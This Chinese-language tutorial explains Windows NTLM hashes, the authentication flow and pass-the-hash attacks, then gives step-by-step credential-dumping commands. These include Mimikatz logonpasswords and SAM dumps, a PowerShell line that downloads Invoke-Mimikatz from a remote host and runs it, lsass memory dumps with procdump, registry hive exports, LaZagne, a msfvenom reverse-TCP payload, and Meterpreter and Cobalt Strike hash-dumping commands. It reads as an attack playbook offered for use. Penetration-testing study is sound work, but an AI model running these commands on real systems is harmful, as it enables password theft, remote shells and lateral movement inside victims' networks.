1、Windows Hash
a、hash
Hash(散列):是一种将任意长度的输入(或称消息)通过散列算法变换成固定长度的输出的方
法。这种输出通常被称为散列值或消息摘要。
散列函数具有以下几个特性:
1、确定性:相同的输入总是产生相同的输出。
2、压缩性:输出的长度固定,通常远小于输入的长度。
3、单向性:从输出很难(或不可行)推导出原始输入。
4、抗碰撞性:不同的输入产生相同输出的概率极低。
b、Windows hash
Windows hash主要使用LM哈希和NTLM哈希算法

c、hash格式
用户名称:RID:LM-HASH值:NTLM-HASH值
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
用户名称:标识用户的账户名。
RID(Relative Identifier):一个唯一的数字标识符,用于在系统中唯一标识用户账户。
LM-HASH:基于LAN Manager算法的密码哈希值。
NTLM-HASH:基于NT LAN Manager算法的密码哈希值。
当LM-HASH值为AAD3B435B51404 EEAAD3B435B514G4EE,NTLM 哈希为 31D6CFE0D16AE931B73C59D7E0C089C0这通常表示:
空密码:用户的密码为空。
未使用LM哈希:在某些情况下,系统可能没有使用LM哈希算法来处理密码。
d、hash存储位置
Windows Hash一般存储在两个地方:
SAM文件:存储在本地计算机上,包含本地用户的密码哈希。文件位置
C:\windows\system32\config\SAM
NTDS.DIT文件:存储在域控制器上,包含域用户的密码哈希。文件位置
C:\windows\NTDS\NTDS.dit
2、Windows认证
它包括以下三种主要类型:
1.本地认证:用户直接在本地计算机上登录账户。
2.网络认证:用户通过远程连接访问工作组中的设备。
3.域认证:用户登录到域环境中的设备,通常涉及更复杂的安全策略和集中管理。
(1)Windows本地认证
流程:
1.用户输入密码:通过winlogon.exe进行用户界面交互。
2.密码处理:系统接收到密码后,由lsass.exe进程处理,将密码计算成NTLM Hash。
3.哈希比对:计算得到的NTLM Hash与存储在SAM数据库(%SystemRoot%)system.32\config\sam)中的哈希值进行比对。
4.登录结果:如果哈希值匹配,则登录成功;否则登录失败。
在本地认证中,lsass.exe进程负责处理用户输入的密码,并将其转换为NTLM Hash用于比对。使
用如mimikatz等工具可以读取lsass.exe进程中的明文密码。
winlogon是用来管理用户登录和登出
lsass是用于本地安全和登陆策略

(2)Windows网络认证
流程:
1.协商:客户端和服务器端协商确定使用的NTLM协议版本(V1或V2)。不同协议使用不同格式的
Challenge和加密算法。
2.质询:
客户端向服务器端发送用户信息(用户名)请求,服务器接受到请求后,判断本地用户列表是否存在用
户,如果不存在用户则认证失败
·如果存在用户,服务器生成一个16位的随机数(Challenge),并使用用户名对应的NTLMHash加
密challenge,生成challenge1并保存在内存中。同时,将Challenge明文发送给客户端。
3.响应:客户端收到Cha1lenge后,使用自己提供用户的密码生成NTLMHash,然后使用这个哈希值
加密challenge,生成Response,并将Response发送至服务器端。
中
4.验证:服务器收到Response后,与内存中的challenge1进行比对。如果匹配,则认证通过。

Net-NTLM Hash:是动态生成的 “挑战 - 响应” 哈希,不直接存储,仅在网络认证时临时产生
| 哈希类型 | 存储位置 | 获取方式 | 用途 |
|---|---|---|---|
| NTLM 哈希 | 主机 A 的 SAM 数据库 / 域控制器的 NTDS 数据库 | 使用 mimikatz 等工具从 LSASS 进程提取 | 本地认证、哈希传递 (PTH) 攻击 |
| Net-NTLM 哈希 | 网络传输中 (认证响应包) | 使用 responder、Wireshark 等嗅探工具捕获 | 网络服务认证、NTLM 中继攻击 |
Net-NTLM Hash破解:
使用net use 等命令发起网络请求然后使用嗅探工具获取Net-NTLM Hash,随后还可用爆破工具
PTH攻击:
Pass-The-Hash(PTH),哈希传递攻击
2.PTH攻击利用了NTLM认证协议中的一个特性,即允许使用用户的密码哈希值进行认证,而不需要实际的密码。
PTH攻击的关键步骤
1.获取NTLM哈希:攻击者首先需要获取目标用户的NTLM哈希值。这可以通过网络嗅探(如上面说的Net-NTLM Hash破解)、利用系统漏洞或使用工具(如Mimikatz)从本地系统提取。
2.模拟认证请求:攻击者使用获取的NTLM哈希值,模拟正常的用户认证请求,向目标系统发送认证请求。
3.建立会话:如果认证请求被接受,攻击者可以建立一个网络会话,执行远程命令或访问网络资源。
PTH与Windows网络认证的关系
1.利用NTLM认证机制:PTH攻击主要利用了NTLM认证协议的特性。在NTLM认证过程中,客户端和服务器通过交换加密的挑战和响应来验证用户身份。攻击者可以通过传递NTLM哈希值来绕过密码验证。
2.挑战-响应机制:在NTLM认证中,服务器生成一个随机的挑战(Challenge),客户端使用其密码哈希加密这个挑战,并将加密后的响应发送回服务器。PTH攻击中,攻击者使用获取的NTLM哈希值来生成响应,从而绕过密码验证
3.无需实际密码:PTH攻击的一个关键优势是攻击者不需要知道目标账户的实际密码,只需要其NTLM哈希值。这使得攻击者可以在不触发密码尝试警报的情况下进行攻击。
(3)域认证
3、系统用户凭证获取
需要高权限
(1)Mimikatz
Mimikatz是一个开源的项目,它能够提取Windows系统中的密码哈希、明文密码以及其他敏感信
息,使用Mimikatz需要具备相应的系统权限,通常是Administrator或System权限。
项目地址:https://github.com/gentilkiwi/mimikatz
1、本地交互式
# 运行mimikatz
mimikztz.exe# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程。
mimikatz # privilege::debug#提升当前进程的令牌权限,使其具有管理员级别的访问权限。
mimikatz# token:elevate# 记录日志保存为re.txt
mimikatz # log re.txt# 抓取登录密码
mimikatz # sekurlsa::logonpasswords# 从 Windows 系统的安全账户管理器(SAM)数据库中提取密码哈希。
mimikatz # lsadump::sam# 提取 Windows 系统中存储的敏感信息,如密码、密钥和其他凭据。
mimikatz # lsadump::secrets# 退出 Mimikatz
mimikatz # exit2、非交互式(就是一次性执行完)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt
3、用powershell本地加载脚本
powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords"'4、powershell远程加载脚本
powershell IEX (New-Object Net.WebClient).DownloadString('http://IP/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
(2)Procdump+Mimikatz
Procdump是Sysinternals套件中的一个实用工具,它可以捕获并转储正在运行的进程的内存
(dump)。Mimikatz能够从这些内存转储中提取密码哈希和明文密码。结合使用Procdump和
Mimikatz,可以从Windows系统中提取敏感的登录凭据。
项目地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump导出lsass进程:
32位系统
procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp命令会生成一个lsass.dump的文件,包含了lsass.exe进程的内存转储
用minikatz还原密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
(3)Registry(注册表)
Windows注册表包含了系统启动和运行所需的配置和系统设置。其中,HKLM\SYSTEM、HKLM\SAM和HKLM\SECURITY分别存储着系统启动配置、用户账户信息和安全策略等关键数据。
1、reg命令导出注册表文件
# 导出 SYSTEM 键值
reg save HKLM\SYSTEM system.hiv# 导出 SAM 键值
reg save HKLM\SAM sam.hiv# 导出 SECURITY 键值
reg save HKLM\SECURITY security.hiv2、用猕猴桃分析导出的注册表文件
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"
(4)LaZagne
项目地址:https://github.com/AlessandroZ/LaZagne
使用:
python laZagne.py -h
python laZagne.py all
(5)Meterpreter(MSF)
1、获得会话
# 生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=aip lport=4444 -f exe -o 4444.exe# 创建监听
handler -p windows/x64/meterpreter/reverse_tcp -H ip -P 4444# 执行payload,上线meterpreter回话
2、使用smart_hashdump
meterpreter >run post/windows/gather/smart_hashdump
2.1、使用msf的猕猴桃
kiwi是msf里的猕猴桃加载模块
#加载mimikatz模块
load kiwi#查看模块功能帮助
help kiwi#列举系统中的明文密码
creds all
#读取sam文件
lsa_dump_sam#查看基础命令
kiwi_cmd-h
#查看有哪些模块,kiwi cmd命令后面接mimikatz的模块命令
kiwi_cmd ::#从Windows的sam文件中读取密码hash值
kiwi_cmd lsadump::sam#获取明文密码
kiwi_cmd sekurlsa::logonpasswords
(6)CobaltStrike(CS)
#用于转储目标系统上的密码哈希。
beacon>hashdump#logonpasswords命令尝试从当前会话中获取当前登录用户的明文密码。
beacon>logonpasswords#CobaltStrike集成了Mimikatz,可以直接在beacon会话中运行Mimikatz命令
#获取当前会话的明文密码
beacon>mimikatz sekurlsa::logonpasswords
#读取Windows的SAM数据库并转储密码哈希
beacon>mimikatz lsadump::sam
CobaltStrike将获取到的明文密码及密码Hash记录在“密码凭证视图”窗口中,提供了一个集中的
地方来查看所有收集到的凭证信息。



2092

被折叠的 条评论
为什么被折叠?



